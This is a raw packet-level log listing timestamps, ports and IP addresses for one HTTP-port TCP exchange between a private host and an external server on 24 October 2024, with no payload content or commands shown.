Oct 24, 2024 11:02:33.985871077 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:33.985887051 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:33.985894918 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:33.985907078 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:33.985918045 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:33.985924006 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:33.985932112 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:33.985944033 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:33.985958099 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:33.985970020 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:33.985980034 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:33.985984087 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:33.986015081 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:33.986021042 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:33.986044884 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:33.986084938 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:33.986115932 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:33.986126900 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:33.986145973 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:33.986169100 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:33.986181974 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:33.986195087 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:33.986201048 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:33.986229897 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:33.986234903 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:33.986246109 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:33.986279011 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:33.986396074 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:33.986445904 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:33.986457109 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:33.986476898 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:33.986520052 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:33.986531973 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:33.986543894 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:33.986550093 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:33.986556053 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:33.986582041 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:33.986588001 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:33.986627102 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:33.986768007 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:33.986849070 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:33.986860037 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:33.986871958 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:33.986891031 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:33.986893892 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:33.986905098 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:33.986918926 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:33.986922979 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:33.986932039 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:33.986943960 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:33.986988068 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:33.987072945 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:33.987095118 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:33.987116098 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:33.987127066 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:33.987133980 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:33.987165928 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:33.987283945 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:33.987296104 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:33.987308979 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:33.987334013 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:33.987360001 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:33.987371922 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:33.987385035 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:33.987397909 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:33.987404108 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:33.987447977 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:33.987468004 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:33.987482071 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:33.987493038 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:33.987504959 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:33.987517118 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:33.987520933 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:33.987529039 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:33.987544060 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:33.987581968 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:33.987848043 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:33.987859964 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:33.987874031 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:33.987895012 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:33.987901926 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:33.987915039 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:33.987915039 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:33.987926960 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:33.987947941 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.027641058 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.104028940 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.104043007 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.104055882 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.104068995 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.104082108 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.104091883 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.104113102 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.104182005 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.104193926 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.104213953 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.104224920 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.104231119 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.104238033 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.104262114 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.104274988 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.104278088 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.104288101 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.104299068 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.104311943 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.104322910 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.104341030 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.104361057 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.104372025 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.104413986 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.104473114 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.104496956 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.104507923 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.104532003 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.104546070 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.104571104 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.104579926 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.104661942 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.104674101 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.104686022 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.104706049 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.104731083 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.104753017 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.104764938 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.104777098 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.104789019 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.104799032 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.104799986 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.104831934 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.104963064 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.104975939 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.104988098 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.104998112 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.105000019 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.105024099 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.105070114 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.105082035 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.105093002 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.105099916 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.105106115 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.105118990 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.105120897 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.105134964 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.105165958 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.105273962 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.105304956 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.105318069 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.105345011 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.105360985 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.105372906 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.105402946 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.105470896 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.105526924 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.105539083 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.105566025 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.105588913 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.105601072 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.105613947 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.105619907 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.105628014 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.105644941 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.105659962 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.105669975 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.105686903 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.105850935 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.105860949 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.105868101 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.105875969 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.105916977 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.105999947 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.106019020 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.106030941 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.106046915 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.106060982 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.106072903 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.106076002 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.106086016 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.106100082 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.106220007 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.106231928 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.106245995 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.106273890 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.106277943 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.106287956 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.106298923 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.106298923 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.106329918 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.144511938 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.144526958 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.144532919 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.144599915 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.144617081 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.144632101 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.144644022 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.144654036 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.144665003 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.144676924 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.144692898 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.144720078 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.222672939 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.222703934 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.222718954 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.222731113 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.222745895 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.222785950 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.222795010 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.222807884 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.222831964 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.222846031 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.222857952 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.222858906 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.222857952 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.222887993 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.222912073 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.222914934 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.222927094 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.222939014 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.222969055 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.222981930 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.222994089 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.223010063 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.223033905 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.223040104 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.223045111 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.223061085 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.223062038 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.223107100 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.223126888 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.223140001 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.223155022 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.223167896 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.223187923 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.223208904 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.223249912 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.223262072 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.223299980 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.223306894 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.223345041 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.223345995 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.223359108 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.223392010 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.223479986 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.223503113 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.223517895 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.223531008 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.223541021 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.223546028 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.223561049 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.223570108 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.223608971 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.223634958 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.223649025 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.223660946 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.223687887 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.223725080 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.223737001 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.223751068 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.223764896 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.223771095 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.223778963 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.223788023 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.223833084 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.224005938 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.224019051 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.224030972 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.224044085 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.224057913 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.224071980 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.224071980 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.224097013 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.224129915 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.224129915 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.224143982 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.224157095 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.224175930 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.224184990 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.224188089 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.224203110 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.224212885 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.224221945 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.224241018 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.224400997 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.224417925 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.224431038 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.224456072 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.224456072 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.224468946 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.224478960 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.224483013 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.224498987 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.224505901 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.224519014 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.224529982 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.224550009 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.224570990 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.224711895 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.224725008 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.224736929 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.224755049 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.224766970 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.224767923 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.224793911 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.224807978 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.224821091 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.224833012 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.224849939 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.224875927 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.224908113 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.224920988 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.224935055 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.224947929 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.224960089 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.224961042 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.224989891 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.263159037 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.263185024 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.263204098 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.263219118 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.263233900 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.263246059 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.263271093 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.263272047 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.263300896 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.263320923 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.263334036 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.263375044 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.263375044 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.263375044 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:34.341542006 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.341558933 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.341572046 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.341609955 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:34.341617107 CEST	49756	80	192.168.2.6	185.215.113.16
